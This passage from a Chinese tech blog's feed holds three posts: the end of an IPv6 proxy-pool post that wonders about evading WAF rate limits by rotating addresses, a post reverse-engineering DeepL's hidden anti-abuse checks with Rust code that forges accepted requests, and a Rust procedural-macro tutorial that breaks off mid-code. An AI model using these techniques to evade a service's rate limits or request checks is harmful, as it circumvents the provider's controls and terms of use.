</span></span></code></pre></td></tr></table></div></div></div><p>欢迎 Star: <a href=https://github.com/zu1k/http-proxy-ipv6-pool target=_blank rel="noopener noreffer" class=post-link>https://github.com/zu1k/http-proxy-ipv6-pool</a></p><h2 id=碎碎念><a href=#碎碎念 class="header-mark headerLink">碎碎念</a></h2><h3 id=一开始的想法><a href=#一开始的想法 class="header-mark headerLink">一开始的想法</a></h3><p>其实我一开始的想法并不是直接给接口附加整个 IP 段的。一开始我并不知道网络接口可以直接附加一整个 IP 段,考虑到这个 IPv6 段数量过于庞大,通过枚举给接口附加多个静态 IP 显然不现实,所以我就在想办法去自己封装 IP 包然后进行注入。</p><p>我想到了两个注入数据包的方案:</p><ol><li>可以完全自己封装 IPv6 包以及下层协议,通过网卡的 raw fd 直接写数据</li></ol><p>这个方案在我想到的一瞬间我就放弃了,因为协议过于复杂,我根本不可能实现</p><ol start=2><li>创建一个 TUN 设备,配置这个 TUN 设备的网段为 IPv6 子网,然后将 TUN 设备和真实网络设备创建网桥。</li></ol><p>通过 TUN 向系统网络栈注入源 IP 为网段下随机的 IPv6 地址,伪造有众多 host 的假象。</p><p>因为前面稍微了解过 TUN (可以看我之前写的文章<a href=../../coding/tun-mode/ rel class=post-link>[使用 TUN 的模式]</a>),所以自然而然我就会有这个想法,并且我深信这是可行的。我之所以认为这样可行,是因为之前搞过 <a href=../../coding/set-ipv6-for-every-docker-container/ rel class=post-link>[给每一个 Docker 容器一个独立的 IP]</a>,同样是充分利用丰富的 IPv6 资源,感兴趣的同学可以看一下。</p><p>通过搜索资料,最后确定使用 TUN 不可行,至少要用 TAP,<a href=https://serverfault.com/questions/949945/ipv6-on-Linux-tun-tap-ndp-not-working target=_blank rel="noopener noreffer" class=post-link>[因为要处理 NDP 协议]</a>,具体后面的细节我也没有深入研究。</p><p>幸亏后面搜资料发现了本文方便的方法,才避免了我陷入这些迷途。反思一下,即自己的知识不够,对 Linux 内核及其提供的众多功能了解不够深入,导致人家原本就有的功能自己根本不知道,所以想不出合适的方案。</p><h3 id=waf><a href=#waf class="header-mark headerLink">WAF</a></h3><p>我也不是非常了解,现在的 WAF 是不是就是单纯根据 IP 来进行限流限速 ?如果真是这样,那利用这庞大的 IPv6 资源岂不是轻松绕过封禁。</p><p>如果是会直接封禁或者限制整个子网,会不会有很严重的误杀,毕竟不是所有 ISP 都会这么大方的给一整个 IP 段。</p><p>有了解的小伙伴欢迎评论交流。</p>]]></description></item><item><title>DeepL Api 设计中的欺骗战术</title><link>https://zu1k.com/posts/thinking/deception-tactics-in-deepl-api-design/</link><pubDate>Sat, 02 Apr 2022 12:28:18 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/thinking/deception-tactics-in-deepl-api-design/</guid><description><![CDATA[
<p>这篇博文本应该在去年完成 DeepL 客户端逆向的时候发布,但考虑到相关细节一旦公开,恐怕会被广泛采用而被 DeepL 官方封杀,因此迟迟未开始。前段时间我发布了 <a href=https://hub.docker.com/r/zu1k/deepl target=_blank rel="noopener noreffer" class=post-link>DeepL Free Api 的 Docker 镜像</a>,也在 <a href=https://github.com/zu1k/deepl-api-rs target=_blank rel="noopener noreffer" class=post-link>GitHub 上公开了相关二进制程序</a>,就下载量来看已经有不少人在使用了,相信 DeepL 不久就会有动作,因此我认为现在已经可以公开相关细节。</p><p>我逆向的是 DeepL 的 Windows 客户端,因为是 <code>C#</code> 开发依附于 <code>.net</code>,也未进行任何混淆和加壳,可以轻松逆出源码。通过前段时间与一些其他研究者交流,我认为已经有不少感兴趣的同学也进行了逆向,也许是一种默契,都害怕 DeepL 在发觉后进行修改,所以大家也都没有对外公开,目前网络中搜不到任何相关的内容。本文的目的是给相关小伙伴一点思路,不过希望大家还是不要直接公开代码,以继续欺骗 DeepL,让其相信还没有人发现他们的把戏。</p><p>在我实现 DeepL Free Api 的过程中,我发现 DeepL 并没有像之前见到的一些接口设计那样,通过签名等手段来避免接口滥用,相反,他们使用了一些欺骗战术来混淆视听,从而尝试让抓包分析者放弃,本文将围绕此进行讨论。</p><h2 id=过程><a href=#过程 class="header-mark headerLink">过程</a></h2><p>进入研究生阶段,为了方便阅读论文,为自己开发了划词翻译工具,在众多翻译引擎中 DeepL 的效果尤为出色。DeepL 官方的 Api 需要绑定信用卡进行认证,但其并未在中国大陆经营业务,所以并不支持国内的信用卡。我也尝试过从淘宝购买别人用国外信用卡认证过的帐号,价格贵不说,在没有滥用的情况下,DeepL 在两个月内封禁了我的帐号,因此我决定用一些其他手段。</p><p>考虑到 DeepL 有提供免费版本的翻译服务,支持 Web,Windows、Android 和 iOS 都有相应的客户端,我便想使用这些客户端使用的免费接口。不出所料,在广泛使用打包和混淆技术的当下,DeepL 的 Web 端 js 代码也不是人看的东西,但通过简单的抓包,我发现其接口参数非常清晰,根本没有额外的签名、token等认证技术,我觉得自己又行了,几行 Python 代码便完成了接口对接工作。</p><p>但测试下来,我发现当修改翻译内容,有极大概率遇到 429 <code>Too many requests</code>,并且一旦出现 429,后续的所有请求便都是 429 了。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-json data-lang=json><span class=line><span class=cl><span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"jsonrpc"</span><span class=p>:</span> <span class=s2>"2.0"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nt>"error"</span><span class=p>:{</span>
</span></span><span class=line><span class=cl> <span class=nt>"code"</span><span class=p>:</span><span class=mi>1042902</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nt>"message"</span><span class=p>:</span><span class=s2>"Too many requests."</span>
</span></span><span class=line><span class=cl> <span class=p>}</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span></code></pre></td></tr></table></div></div></div><p>在 GitHub 搜索之后,我发现已经有前人尝试利用过 DeepL 的免费接口了,早在 2018 年他们就已经遇到了这个 429 问题,并且到现在都没有解决。</p><p>我尝试转向客户端的免费接口,苹果设备可以轻松 MITM,于是我便在 iPad 上对 DeepL 客户端进行抓包,让我意想不到的是,客户端的请求竟然比 Web 端的简单不少,接口参数数量仅有必须的几个,非常有利于利用。于是我又觉得自己行了,两三行 Python 代码完成接口对接。</p><p>简单测试,我又傻眼了。伪造的请求明明跟客户端发起的完全相同,但只要一更换翻译的内容,返回马上就变成 429。干!我都开始怀疑自己了。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-json data-lang=json><span class=line><span class=cl><span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"jsonrpc"</span><span class=p>:</span> <span class=s2>"2.0"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nt>"method"</span><span class=p>:</span> <span class=s2>"LMT_handle_texts"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nt>"params"</span><span class=p>:</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"texts"</span><span class=p>:</span> <span class=p>[{</span>
</span></span><span class=line><span class=cl> <span class=nt>"text"</span><span class=p>:</span> <span class=s2>"translate this, my friend"</span>
</span></span><span class=line><span class=cl> <span class=p>}],</span>
</span></span><span class=line><span class=cl> <span class=nt>"lang"</span><span class=p>:</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"target_lang"</span><span class=p>:</span> <span class=s2>"ZH"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nt>"source_lang_user_selected"</span><span class=p>:</span> <span class=s2>"EN"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=p>},</span>
</span></span><span class=line><span class=cl> <span class=nt>"timestamp"</span><span class=p>:</span> <span class=mi>1648877491942</span>
</span></span><span class=line><span class=cl> <span class=p>},</span>
</span></span><span class=line><span class=cl> <span class=nt>"id"</span><span class=p>:</span> <span class=mi>12345</span><span class=p>,</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span></code></pre></td></tr></table></div></div></div><p>你自己看看,这个接口多么清楚明白,但怎么就伪造不了呢?</p><p>我想了又想,这里面也就 <code>id</code> 比较可疑,因为这个参数我不知道它是怎么生成的,是随机的还是根据某种规则计算出来的,我们无从知道。但从目前结果来看,随机的 <code>id</code> 无法被服务器认可。</p><p>当然,我也考虑过其他的服务端判断滥用的方法,例如某些 http 头、ssl 层面的方法(例如之前 Go 实现中 SSL 协商过程中加密算法的顺序等),我也想办法进行了伪造,可就是不行。疲惫了,不想搞了。</p><p>第二天,突然想起他的 Windows 客户端,稍微一分析惊喜的发现是 <code>C#</code>,还没加壳,果断扔进 <code>dnSpy</code>,发现也没混淆,真是柳暗花明又一村啊。分析之后,也就一切都清楚明白了,原来 DeepL 根本一开始就在想方设法让你觉得你行啊。</p><p>看前面那个接口的参数,我之所以觉得我行,就是因为这个接口它太简单了。接口的参数少,参数含义又非常明确,它并不像某些厂那样用一些不知所以然的缩写,这里的每一个参数,它的名称都在告诉我它的含义、它是干什么的以及它是怎么生成的。</p><p><code>jsonrpc</code> 是版本号,<code>method</code> 是方法,一个固定的字符串。<code>params</code> 里面 <code>texts</code> 是多段待翻译的文本,<code>lang</code> 里面是翻译的语言选项,是枚举类型。<code>timestamp</code> 是 UNIX 风格的时间戳,<code>id</code> 就是序号。大眼一看,这里面只有 <code>id</code> 是最可疑的,这也确实是我最初犯的错误。</p><h2 id=真相><a href=#真相 class="header-mark headerLink">真相</a></h2><p>现在我来告诉你,DeepL 到底是怎么认证的。(下面并不是 DeepL 客户端的代码,是我写的 Rust 利用代码,但逻辑不变)</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=k>fn</span> <span class=nf>gen_fake_timestamp</span><span class=p>(</span><span class=n>texts</span>: <span class=kp>&</span><span class=nb>Vec</span><span class=o><</span><span class=nb>String</span><span class=o>></span><span class=p>)</span><span class=w> </span>-> <span class=kt>u128</span> <span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>ts</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>tool</span>::<span class=n>get_epoch_ms</span><span class=p>();</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>i_count</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>texts</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>iter</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>.</span><span class=n>fold</span><span class=p>(</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=mi>1</span><span class=p>,</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=o>|</span><span class=n>s</span><span class=p>,</span><span class=w> </span><span class=n>t</span><span class=o>|</span><span class=w> </span><span class=n>s</span><span class=w> </span><span class=o>+</span><span class=w> </span><span class=n>t</span><span class=p>.</span><span class=n>text</span><span class=p>.</span><span class=n>matches</span><span class=p>(</span><span class=sc>'i'</span><span class=p>).</span><span class=n>count</span><span class=p>()</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>)</span><span class=w> </span><span class=k>as</span><span class=w> </span><span class=kt>u128</span><span class=p>;</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>ts</span><span class=w> </span><span class=o>-</span><span class=w> </span><span class=n>ts</span><span class=w> </span><span class=o>%</span><span class=w> </span><span class=n>i_count</span><span class=w> </span><span class=o>+</span><span class=w> </span><span class=n>i_count</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>}</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><p>哈哈!没想到吧!人家的时间戳不是真的!</p><p>DeepL 先计算了文本中所有 <code>i</code> 的数量,然后对真正的时间戳进行一个小小的运算 <code>ts - ts % i_count + i_count</code>,这个运算差不多仅会改变时间戳的毫秒部分,这个改变如果用人眼来验证根本无法发现,人类看来就是一个普通的时间戳,不会在意毫秒级的差别。</p><p>但是 DeepL 拿到这个修改后的时间戳,既可以与真实时间对比(误差毫秒级),又可以通过简单的运算(是否是 <code>i_count</code> 的整倍数)判断是否是伪造的请求。真是精妙啊!</p><p>还有更绝的!你接着看:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span><span class=lnt>8
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=kd>let</span><span class=w> </span><span class=n>req</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>req</span><span class=p>.</span><span class=n>replace</span><span class=p>(</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=s>"</span><span class=se>\"</span><span class=s>method</span><span class=se>\"</span><span class=s>:</span><span class=se>\"</span><span class=s>"</span><span class=p>,</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>if</span><span class=w> </span><span class=p>(</span><span class=bp>self</span><span class=p>.</span><span class=n>id</span><span class=w> </span><span class=o>+</span><span class=w> </span><span class=mi>3</span><span class=p>)</span><span class=w> </span><span class=o>%</span><span class=w> </span><span class=mi>13</span><span class=w> </span><span class=o>==</span><span class=w> </span><span class=mi>0</span><span class=w> </span><span class=o>||</span><span class=w> </span><span class=p>(</span><span class=bp>self</span><span class=p>.</span><span class=n>id</span><span class=w> </span><span class=o>+</span><span class=w> </span><span class=mi>5</span><span class=p>)</span><span class=w> </span><span class=o>%</span><span class=w> </span><span class=mi>29</span><span class=w> </span><span class=o>==</span><span class=w> </span><span class=mi>0</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=s>"</span><span class=se>\"</span><span class=s>method</span><span class=se>\"</span><span class=s> : </span><span class=se>\"</span><span class=s>"</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w> </span><span class=k>else</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=s>"</span><span class=se>\"</span><span class=s>method</span><span class=se>\"</span><span class=s>: </span><span class=se>\"</span><span class=s>"</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>},</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>);</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><p>怎么样?我觉得我一开始就被玩弄了,人家的 <code>id</code> 就是纯粹的随机数,只不过后续的请求会在第一次的随机 <code>id</code> 基础上加一,但是这个 <code>id</code> 还决定了文本中一个小小的、微不足道的空格。</p><p>按照正常的思路,为了方便人类阅读和分析,拿到请求的第一时间,我都会先扔编辑器里格式化一下 Json,我怎么会想到,这恰恰会破坏掉人家用来认证的特征,因此无论我如何努力都难以发现。</p><h2 id=总结><a href=#总结 class="header-mark headerLink">总结</a></h2><p>在我以往的经验中,接口防滥用,要不就是用户专属的 token,要不就是对请求进行签名或者加密,这些对抗滥用的方法都是明面上的,就是明白告诉你我有一个签名,怎么签的,你去分析去吧,但是我代码混淆了,你看看你是要头发还是要算法。</p><p>要不就是高级点的,更具技术性的,利用某些客户端特有的实现造成的特征进行认证,我印象中最深刻的就是 <a href=https://www.zackwu.com/posts/2021-03-14-why-i-always-get-503-with-golang/ target=_blank rel="noopener noreffer" class=post-link>Go 的 SSL 协商过程中的算法顺序</a>。这类方法要求更高的技术,当然分析起来也肯定更加困难,并且找到这样一种方法本身也不容易。</p><p>从 DeepL 的方法中,我找到了另外一种思路。利用人心理的弱点,一开始让其感觉非常简单,但是无论如何都无法得到想要的结果,给分析者造成心理上的打击和自我怀疑,让其浅尝辄止自行放弃分析。同时利用人行为上的惯式,使其自行破坏掉某些关键信息,从而给分析造成难以发现的阻碍。</p><p>原来,除了技术以外,还有这样一条道路啊,真是有趣!</p>]]></description></item><item><title>我爱 Rust 过程宏</title><link>https://zu1k.com/posts/coding/i-love-rust-proc_macro/</link><pubDate>Thu, 31 Mar 2022 18:09:45 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/coding/i-love-rust-proc_macro/</guid><description><![CDATA[
<h2 id=需求><a href=#需求 class="header-mark headerLink">需求</a></h2><p>今天遇到一个需求,需要随机的生成一个枚举类型的实例。</p><p>不像 Python 那样方便,用 Rust 需要实现特定的 Trait,最简单的想法就是给枚举类型不同的成员编个号,然后生成一个随机数,实例化对应的成员,如果成员拥有数据,就递归的随机生成这些数据。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=k>impl</span><span class=w> </span><span class=n>Distribution</span><span class=o><</span><span class=n>Instruction</span><span class=o>></span><span class=w> </span><span class=k>for</span><span class=w> </span><span class=n>Standard</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>fn</span> <span class=nf>sample</span><span class=o><</span><span class=n>R</span>: <span class=nc>rand</span>::<span class=n>Rng</span><span class=w> </span><span class=o>+</span><span class=w> </span><span class=o>?</span><span class=nb>Sized</span><span class=o>></span><span class=p>(</span><span class=o>&</span><span class=bp>self</span><span class=p>,</span><span class=w> </span><span class=n>rng</span>: <span class=kp>&</span><span class=nc>mut</span><span class=w> </span><span class=n>R</span><span class=p>)</span><span class=w> </span>-> <span class=nc>Instruction</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=k>match</span><span class=w> </span><span class=n>rng</span><span class=p>.</span><span class=n>gen_range</span><span class=p>(</span><span class=mi>0</span><span class=o>..</span><span class=mi>459</span><span class=p>)</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=mi>0</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=n>Instruction</span>::<span class=n>Unreachable</span><span class=p>,</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=mi>1</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=n>Instruction</span>::<span class=n>Nop</span><span class=p>,</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=mi>2</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=n>Instruction</span>::<span class=n>Block</span><span class=p>(</span><span class=n>BlockType</span>::<span class=n>FunctionType</span><span class=p>(</span><span class=n>rng</span><span class=p>.</span><span class=n>gen</span><span class=p>())),</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=mi>3</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=n>Instruction</span>::<span class=n>Catch</span><span class=p>(</span><span class=n>rng</span><span class=p>.</span><span class=n>gen</span><span class=p>()),</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=c1>// ... 预估超过2千行
</span></span></span><span class=line><span class=cl><span class=c1></span><span class=w> </span><span class=n>_</span><span class=w> </span><span class=o>=></span><span class=w> </span><span class=fm>unreachable!</span><span class=p>(),</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=p>}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>}</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><p>需求本身确实简单,问题在于这个枚举类型的成员太多了,足足有 459 个,按照传统的思路,保守估计至少要写半天,并且很枯燥。图中可以看出,要对该枚举类型实现一个简单的函数都需要上千行。</p><p><figure><a class=lightgallery href=/posts/coding/i-love-rust-proc_macro/enum_variants_count_hu370b5981cebfdca4f541bcf123030a54_16393_559x163_resize_q75_h2_box_3.webp title=庞大的枚举类型 data-thumbnail=/posts/coding/i-love-rust-proc_macro/enum_variants_count_hu370b5981cebfdca4f541bcf123030a54_16393_559x163_resize_q75_h2_box_3.webp data-sub-html="<h2>庞大的枚举类型</h2><p>庞大的枚举类型</p>"><img src=/posts/coding/i-love-rust-proc_macro/enum_variants_count_hu370b5981cebfdca4f541bcf123030a54_16393_559x163_resize_q75_h2_box_3.webp alt=/posts/coding/i-love-rust-proc_macro/enum_variants_count_hu370b5981cebfdca4f541bcf123030a54_16393_559x163_resize_q75_h2_box_3.webp height=163 width=559 loading=lazy></a><figcaption class=image-caption>庞大的枚举类型</figcaption></figure></p><p>我非常讨厌这种简单却繁重的工作的,我想到了 Rust 过程宏。</p><h2 id=过程宏><a href=#过程宏 class="header-mark headerLink">过程宏</a></h2><p>当初学 Rust 的时候,了解过 <code>宏</code> 相关的内容,其中 <code>声明宏</code> 技术我已经在其他项目中实践过了,因为其本身就是个模板生成代码,所以无法满足我这次的需求。而过程宏可以通过编写函数,对代码本身进行解析和处理,在抽象语法树的基础上进行操作,所以可以实现非常复杂的逻辑,是代码生成方面的绝佳工具。</p><p>过程宏的编写比较费脑子,写一个自动生成代码的过程宏可能会让我掉几根头发。但相比较写几千行枯燥代码浪费生命,我还是更愿意舍弃掉这几根头发。并且我还惊奇的发现,<code>rand</code> 库在 <code>0.5</code> 版本的时候曾经实现过类似的过程宏,可以给任意的结构、元组和枚举实现 <code>Rand</code>,虽然已经不维护了,但是可以给我借鉴。</p><h3 id=定义derive宏><a href=#定义derive宏 class="header-mark headerLink">定义<code>#[derive]</code>宏</a></h3><p>我的需求是根据 <code>Instruction</code> 的成员信息,自动实现 <code>impl Distribution<Instruction> for Standard</code>,这里就需要写一个 <code>#[derive]</code>宏,使其作用在 <code>Instruction</code> 上。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=cp>#[derive(Debug, Rand)]</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=k>pub</span><span class=w> </span><span class=k>enum</span> <span class=nc>Instruction</span><span class=w> </span><span class=p>{</span><span class=o>..</span><span class=p>.}</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><p>首先定义名为 <code>Rand</code> 的 <code>#[derive]</code>过程宏。在这个函数里,我们可以拿到 <code>Instruction</code> 的 token 序列,然后将其解析为抽象语法树 (AST),最后通过 AST 和我们的逻辑生成新的 token 序列,即最终生成的代码。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=cp>#[proc_macro_derive(Rand)]</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=k>pub</span><span class=w> </span><span class=k>fn</span> <span class=nf>rand_derive</span><span class=p>(</span><span class=n>input</span>: <span class=nc>TokenStream</span><span class=p>)</span><span class=w> </span>-> <span class=nc>TokenStream</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>ast</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=fm>parse_macro_input!</span><span class=p>(</span><span class=n>input</span><span class=w> </span><span class=k>as</span><span class=w> </span><span class=n>DeriveInput</span><span class=p>);</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>tokens</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>impl_rand_derive</span><span class=p>(</span><span class=o>&</span><span class=n>ast</span><span class=p>);</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=n>TokenStream</span>::<span class=n>from</span><span class=p>(</span><span class=n>tokens</span><span class=p>)</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=p>}</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div><blockquote><p>对于将 token 序列解析为 AST,社区普遍使用的是 <code>syn</code> 库,而将 AST 的数据结构还原成 token 序列一般使用 <code>quote</code> 库,今天搜的时候我惊奇的发现这两个库都是 <a href=https://github.com/dtolnay target=_blank rel="noopener noreffer" class=post-link>David Tolnay</a> 开发的。看了一下 <a href="https://crates.io/users/dtolnay?sort=downloads" target=_blank rel="noopener noreffer" class=post-link>他在crates.io发布的库</a>,真是强者恒强,建议自己去看一下,然后疯狂膜拜</p></blockquote><h3 id=解析与生成><a href=#解析与生成 class="header-mark headerLink">解析与生成</a></h3><p>在拿到抽象语法树后,顶层便是 <code>Instruction</code>,根据思路我们应该遍历其所有的成员,分析成员的类型并根据相关信息生成代码。</p><p>成员可能有三种类型:</p><ul><li>Named: 带名称的,类似于 <code>Named { x: u8, y: i32}</code></li><li>Unnamed: 不带名称的,类似于 <code>Unamed(u8, i32)</code></li><li>Unit: <code>()</code> 类型</li></ul><p>对于 Named 和 Unamed 两种类型,都需要遍历其所有元素,递归的生成代码,用 <code>__rng.gen()</code> 来初始化数据。</p><p>最后判断枚举类型成员数量,生成 <code>match</code> 语句。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span><span class=lnt>22
</span><span class=lnt>23
</span><span class=lnt>24
</span><span class=lnt>25
</span><span class=lnt>26
</span><span class=lnt>27
</span><span class=lnt>28
</span><span class=lnt>29
</span><span class=lnt>30
</span><span class=lnt>31
</span><span class=lnt>32
</span><span class=lnt>33
</span><span class=lnt>34
</span><span class=lnt>35
</span><span class=lnt>36
</span><span class=lnt>37
</span><span class=lnt>38
</span><span class=lnt>39
</span><span class=lnt>40
</span><span class=lnt>41
</span><span class=lnt>42
</span><span class=lnt>43
</span><span class=lnt>44
</span><span class=lnt>45
</span><span class=lnt>46
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-Rust data-lang=Rust><span class=line><span class=cl><span class=kd>let</span><span class=w> </span><span class=n>rand</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=k>if</span><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>syn</span>::<span class=n>Data</span>::<span class=n>Enum</span><span class=p>(</span><span class=k>ref</span><span class=w> </span><span class=n>data</span><span class=p>)</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>ast</span><span class=p>.</span><span class=n>data</span><span class=w> </span><span class=p>{</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=k>ref</span><span class=w> </span><span class=n>virants</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>data</span><span class=p>.</span><span class=n>variants</span><span class=p>;</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=n>len</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>virants</span><span class=p>.</span><span class=n>len</span><span class=p>();</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=kd>let</span><span class=w> </span><span class=k>mut</span><span class=w> </span><span class=n>arms</span><span class=w> </span><span class=o>=</span><span class=w> </span><span class=n>virants</span><span class=p>.</span><span class=n>iter</span><span class=p>().</span><span class=n>map</span><span class=p>(</span><span class=o>|</span><span class=n>variant</span><span class=o>|</span><span class=w> </span><span class=p>{</span><span class=w>
